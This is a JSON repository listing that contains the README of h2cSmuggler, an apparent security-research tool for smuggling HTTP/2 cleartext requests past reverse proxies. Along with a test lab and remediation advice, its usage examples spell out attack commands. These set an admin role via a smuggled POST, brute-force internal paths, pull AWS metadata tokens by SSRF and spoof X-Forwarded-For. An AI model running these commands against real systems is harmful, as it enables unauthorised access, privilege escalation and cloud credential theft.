{"id":13542121,"url":"https://github.com/BishopFox/h2csmuggler","last_synced_at":"2025-04-02T09:33:18.246Z","repository":{"id":37746979,"uuid":"289325933","full_name":"BishopFox/h2csmuggler","owner":"BishopFox","description":"HTTP Request Smuggling over HTTP/2 Cleartext (h2c)","archived":false,"fork":false,"pushed_at":"2022-05-10T21:52:07.000Z","size":178,"stargazers_count":708,"open_issues_count":14,"forks_count":106,"subscribers_count":15,"default_branch":"master","last_synced_at":"2025-03-28T16:10:19.590Z","etag":null,"topics":["bugbounty","infosec","security-research","security-tools"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/BishopFox.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2020-08-21T17:21:40.000Z","updated_at":"2025-03-27T04:06:54.000Z","dependencies_parsed_at":"2022-07-21T22:00:14.225Z","dependency_job_id":null,"html_url":"https://github.com/BishopFox/h2csmuggler","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/BishopFox%2Fh2csmuggler","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/BishopFox%2Fh2csmuggler/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/BishopFox%2Fh2csmuggler/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/BishopFox%2Fh2csmuggler/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/BishopFox","download_url":"https://codeload.github.com/BishopFox/h2csmuggler/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":246789144,"owners_count":20834238,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["bugbounty","infosec","security-research","security-tools"],"created_at":"2024-08-01T10:01:01.647Z","updated_at":"2025-04-02T09:33:17.935Z","avatar_url":"https://github.com/BishopFox.png","language":"Python","funding_links":[],"categories":["Exploitation","Python","Python (1887)","\u003ca name=\"common_websocket_weaknesses\"\u003e\u003c/a\u003eCommon WebSocket Weaknesses","Tools"],"sub_categories":["Request Smuggling","Reverse Proxy Bypass using Upgrade Header"],"readme":"\n# h2cSmuggler\n\n![License](https://img.shields.io/badge/license-MIT-lightgrey.svg)\n![Python version](https://img.shields.io/badge/python-3.x-blue.svg)\n\n## Description\n\nh2cSmuggler smuggles HTTP traffic past insecure edge-server `proxy_pass` configurations by establishing HTTP/2 cleartext (h2c) communications with h2c-compatible back-end servers, allowing a bypass of proxy rules and access controls.\n\u003cp align=\"center\"\u003e\n  \u003cimg src=\"media/diagram.png\" width=60%\u003e\n\u003c/p\u003e\n\nSee my detailed write-up below for:\n* Technical breakdown of the vulnerability\n* Insecure-by-default services\n* Remediation guidance\n\nHere: [https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2c](https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2c)\n\n### How to test?\n\nAny proxy endpoint that forwards h2c upgrade headers can be affected. Because h2c is intended to be performed only on cleartext channels, detection on HTTPS services often yields true positives.\n\nBy contrast, HTTP services may result in false positives. For example, h2c-enabled proxies may respond to the upgrade instead of forwarding it to an h2c back end.\n\nUse the `--scan-list` option to test one or more web servers to look for affected `proxy_pass` endpoints. Consider using a list of directories discovered from directory enumeration, such as:\n\n**urls.txt**\n```\nhttps://www.example.com/\nhttps://www.example.com/api/\nhttps://www.example.com/auth/\nhttps://www.example.com/admin/\nhttps://www.example.com/payments/\n...omitted for brevity...\n```\n\nRun h2cSmuggler with the list of endpoints and a total number of threads:\n\n`./h2csmuggler.py --scan-list urls.txt --threads 5`\n\nOr, an individual test can be performed with:\n\n`./h2csmuggler.py -x https://www.example.com/api/ --test`\n\n#### Detecting with other popular tools:\n* [Burp Extension (Active Scan check)](https://github.com/BishopFox/h2csmuggler/blob/master/extensions/BurpExtension/h2cSmugglingCheck.py)\n* Nuclei-Template (Coming soon! [Requires this issue to be fixed](https://github.com/projectdiscovery/nuclei/issues/256#issuecomment-679038443))\n### Exploitation\n\nOnce you have identified an affected endpoint that can be used for tunneling, you can now access or brute-force internal endpoints on the back-end server and provide custom verbs or headers. In the [demo below](#test-environment-and-demo), we demonstrate accessing an internal `/flag` endpoint by using h2c smuggling to bypass proxy deny rules.\n\nTo remediate, do not forward user-supplied values for `Upgrade` or `Connection` headers. See the [technical post](https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2c) for additional guidance.\n\n## Install Instructions\n\nThe only dependency is the Python hyper-h2 library:\n```sh\npip3 install h2\n```\n\n### Test Environment and Demo\nThe test environment will allow you to experiment with h2cSmuggler in a controlled environment. `docker-compose` will simulate three chains of proxies that lead to an h2c-enabled Golang back end:\n\n```\nTCP port: Description\n========  ===========\n8000:     HTTP h2c backend\n8001:     HAProxy -\u003e h2c backend (Insecure default configuration)\n8002:     nginx -\u003e h2c backend  (Insecure custom configuration)\n8003:     Nuster -\u003e HAProxy -\u003e h2c backend (Insecure configuration with multiple layers of proxies)\n```\n\n\n[1] Generate Certificates and spin up the environment with `docker-compose`:\n```sh\n# Generate certs\n./configs/generate-certificates.sh\n\n# Activate services\ndocker-compose up\n```\n\nAll of the proxies deny access to the `/flag` endpoint accessible on the h2c back end. Let's attempt to access the forbidden endpoint via the HAProxy server running on port 8001:\n\n\u003cimg src=\"media/fail.png\" width=50%/\u003e\n\n\nWe can use h2cSmuggler to confirm the proxy's insecure configuration using `--test` (or `-t`):\n\n\u003cimg src=\"media/test.png\" width=70%/\u003e\n\nNow, let's use h2cSmuggler to perform an h2c upgrade, tunnel our HTTP/2 traffic through the proxy, and request the `/flag` endpoint from the back end, bypassing the proxy's access control:\n\n\u003cimg src=\"media/success.png\" width=80%/\u003e\n\n\nFor a deeper explanation of what is happening, check out the [technical writeup](https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2c).\n\n### Usage\n\nh2cSmuggler uses a familiar curl-like syntax for describing the smuggled request:\n```sh\nusage: h2csmuggler.py [-h] [--scan-list SCAN_LIST] [--threads THREADS] [--upgrade-only] [-x PROXY] [-i WORDLIST] [-X REQUEST] [-d DATA] [-H HEADER] [-m MAX_TIME] [-t] [-v]\n                      [url]\n\nDetect and exploit insecure forwarding of h2c upgrades.\n\npositional arguments:\n  url\n\noptional arguments:\n  -h, --help            show this help message and exit\n  --scan-list SCAN_LIST\n                        list of URLs for scanning\n  --threads THREADS     # of threads (for use with --scan-list)\n  --upgrade-only        drop HTTP2-Settings from outgoing Connection header\n  -x PROXY, --proxy PROXY\n                        proxy server to try to bypass\n  -i WORDLIST, --wordlist WORDLIST\n                        list of paths to bruteforce\n  -X REQUEST, --request REQUEST\n                        smuggled verb\n  -d DATA, --data DATA  smuggled data\n  -H HEADER, --header HEADER\n                        smuggled headers\n  -m MAX_TIME, --max-time MAX_TIME\n                        socket timeout in seconds (type: float; default 10)\n  -t, --test            test a single proxy server\n  -v, --verbose\n```\n### Examples\n1\\. Scanning a list of URLs (e.g., `https://example.com:443/api/`, `https://example.com:443/payments`, `https://sub.example.com:443/`) to identify `proxy_pass` endpoints that are susceptible to smuggling (be careful with thread counts when testing a single server):\n\n```\n./h2csmuggler.py --scan-list urls.txt --threads 5\n```\n\nOr, to redirect output to a file. Use stderr (`2\u003e`) and stdout (`1\u003e`). The stderr stream contains errors (e.g., SSL handshake/timeout issues), while stdout contains results.\n\n```\n./h2csmuggler.py --scan-list urls.txt --threads 5 2\u003eerrors.txt 1\u003eresults.txt\n```\n\n2\\. Sending a smuggled POST request past `https://edgeserver` to an internal endpoint:\n```\n./h2csmuggler.py -x https://edgeserver -X POST -d '{\"user\":128457 \"role\": \"admin\"}' -H \"Content-Type: application/json\" -H \"X-SYSTEM-USER: true\" http://backend/api/internal/user/permissions\n```\n\n3\\. Brute-forcing internal endpoints (using HTTP/2 multiplexing), where `dirs.txt` represents a list of paths (e.g., `/api/`, `/admin/`).\n```\n/h2csmuggler.py -x https://edgeserver -i dirs.txt http://localhost/\n```\n\n4\\. Exploiting `Host` header SSRF over h2c smuggling (e.g., AWS metadata IMDSv2):\n\nRetrieving the token:\n```\n./h2csmuggler.py -x https://edgeserver -X PUT -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\" http://169.254.169.254/latest/api/token`\n```\n\nTransmitting the token:\n```\n./h2csmuggler.py -x https://edgeserver -H \"x-aws-ec2-metadata-token: TOKEN\" http://169.254.169.254/latest/meta-data/\n```\n5\\. Spoofing an IP address with the `X-Forwarded-For` header to access an internal dashboard:\n```\n./h2csmuggler.py -x https://edgeserver -H \"X-Forwarded-For: 127.0.0.1\" -H \"X-Real-IP: 172.16.0.1\" http://backend/system/dashboard\n```\n### FAQ\n\n**Q: Why are there multiple responses from the server?**\n\nA: The first response is the data response to the original upgrade request initiated in HTTP/1.1, per the h2c upgrade protocol. The following responses are from the smuggled request.\n\n**Q: I received a \"101 Switching Protocols\" but I'm not receiving any data from the remote server.**\n\nA: I observed this behavior in my tests and found that some servers respond with a 101 status even if they do not actually support HTTP/2.\n\n**Q: Is establishing an h2c tunnel always a vulnerability?**\n\nA: No. Consider a TLS-terminating TCP load balancer (e.g., ELB) proxying directly to an h2c-compatible back end. Although you may be able to establish an h2c connection, if there are no access controls being enforced, then there are no access controls to bypass, or privilege gained by initiating this tunnel.\n\n**Q: Why does the smuggled request URI require a scheme? What is it used for?**\n\nA: The HTTP/2 protocol requires a `:scheme` psuedo-header. For our use case, `http` vs. `https` likely doesn't matter. For more details, see [HTTP/2 RFC: Section 8.1.2.3](https://http2.github.io/http2-spec/#rfc.section.8.1.2.3).\n\n**Q: What should I use as the hostname for the back-end server?**\n\nA: It's best to start with the same hostname as the edge server. Next, try experimenting with alternative hostname values.\n\n\n### Author\n\nTwitter: [@theBumbleSec](https://twitter.com/theBumbleSec)\n\nGitHub: [the-bumble](https://github.com/the-bumble/)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FBishopFox%2Fh2csmuggler","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FBishopFox%2Fh2csmuggler","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FBishopFox%2Fh2csmuggler/lists"}